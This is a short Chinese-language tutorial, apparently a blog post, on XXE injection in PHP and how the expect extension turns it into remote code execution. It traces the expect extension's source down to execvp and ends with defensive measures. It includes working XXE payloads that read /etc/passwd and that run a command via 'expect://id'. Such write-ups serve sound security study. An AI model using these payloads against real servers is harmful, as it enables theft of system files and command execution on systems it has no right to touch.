浅析XXE注入导致RCE
字数 935 2025-08-19 12:42:22
XXE注入导致RCE漏洞分析与利用
1. XXE漏洞概述
XXE (XML External Entity Injection) 是一种XML外部实体注入漏洞,攻击者能够干扰Web应用程序中XML数据的处理。成功利用此漏洞可以:
- 访问敏感数据
- 执行远程代码(RCE)
- 干扰Web应用程序的正常处理
2. 基础XXE利用示例
使用PHP进行简单案例示范:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
此示例会读取服务器上的/etc/passwd文件内容。
3. 利用expect协议实现RCE
3.1 环境配置
在CentOS系统上配置环境:
-
安装EPEL仓库:
sudo yum install epel-release -
安装必要的开发工具和expect:
sudo yum install php-devel expect sudo yum install tcl-devel sudo yum install expect-devel -
安装pecl:
sudo yum install php-pear -
使用pecl安装expect扩展:
pecl install expect -
配置PHP加载expect扩展:
编辑/etc/php.ini,添加:extension=expect.so
3.2 RCE复现
利用XXE进行远程代码执行的payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://id">
]>
<foo>&xxe;</foo>
此payload会执行id命令并返回结果。
4. 漏洞原理分析
4.1 expect扩展源码分析
从源码(expect-0.4.0.tgz)分析:
-
expect_fopen_wrapper.c文件中:
- 第35行开始检查命令字符串是否以"expect://"开头
- 如果是,则移除前缀
- 使用
exp_popen函数启动外部进程
-
exp_clib.c文件中定义了
exp_popen:- 初始化后使用
malloc为参数组argv分配内存 - 调用
exp_spawnl和exp_spawnv
- 初始化后使用
-
执行流程:
- 初始化伪终端(pty)
- 使用
fork创建子进程 - 最终在2217行使用
execvp执行命令
4.2 关键执行点
execvp是最终执行命令的函数- 参数
file和argv都是可控的 - 通过XXE注入可以控制这些参数
5. 防御措施
-
禁用外部实体解析:
libxml_disable_entity_loader(true); -
使用安全的XML解析器配置
-
过滤用户输入的XML数据
-
避免在服务器上安装不必要的PHP扩展
-
定期更新和打补丁
6. 总结
XXE漏洞通过利用XML处理中的外部实体注入,结合特定PHP扩展(如expect)可以实现远程代码执行。理解其原理和利用方式对于防御此类攻击至关重要。开发者应始终验证和清理用户输入,并禁用不必要的XML功能。